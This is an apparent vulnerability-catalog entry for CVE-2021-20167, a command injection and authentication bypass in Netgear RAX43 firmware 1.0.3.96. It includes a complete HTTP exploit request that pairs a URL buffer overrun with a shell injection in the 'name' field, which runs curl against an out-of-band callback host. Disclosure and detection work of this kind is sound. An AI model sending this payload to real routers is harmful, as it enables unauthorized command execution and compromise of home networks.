| Title | Netgear RAX43 1.0.3.96 - Command Injection/Authentication Bypass Buffer Overrun |
|---|---|
| Author | gy741 |
| Severity | High |
| Impact | Authenticated attackers can execute arbitrary commands on the router, potentially compromising all network traffic and connected devices. |
| Remediation | Upgrade to newer release of the RAX43 firmware. |
| CVSS Score | 8 |
| EPSS Score | 0.79422 |
| CVE ID | CVE-2021-20167 |
| CWE ID | CWE-77 |
| Tags | cve2021 cve tenable netgear rce router vkev vuln |
Netgear RAX43 version 1.0.3.96 contains a command injection and authentication bypass vulnerability. The readycloud_control.cgi CGI application is vulnerable to command injection in the name parameter. Additionally, the URL parsing functionality in the cgi-bin endpoint of the router containers a buffer overrun issue that can redirection control flow of the application. Note: This vulnerability uses a combination of CVE-2021-20166 and CVE-2021-20167.
POST /cgi-bin/readycloud_control.cgi?1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111/api/users HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.5 Mobile/15E148 Safari/604.1
Connection: close
Content-Length: 81
Accept-Encoding: gzip
"name":"';$(curl d5jn4m1le0o4ut4qta50otd5turwx9ztj.oast.fun);'",
"email":"a@b.c"
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-20167.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-20167.pcap
N/AN/A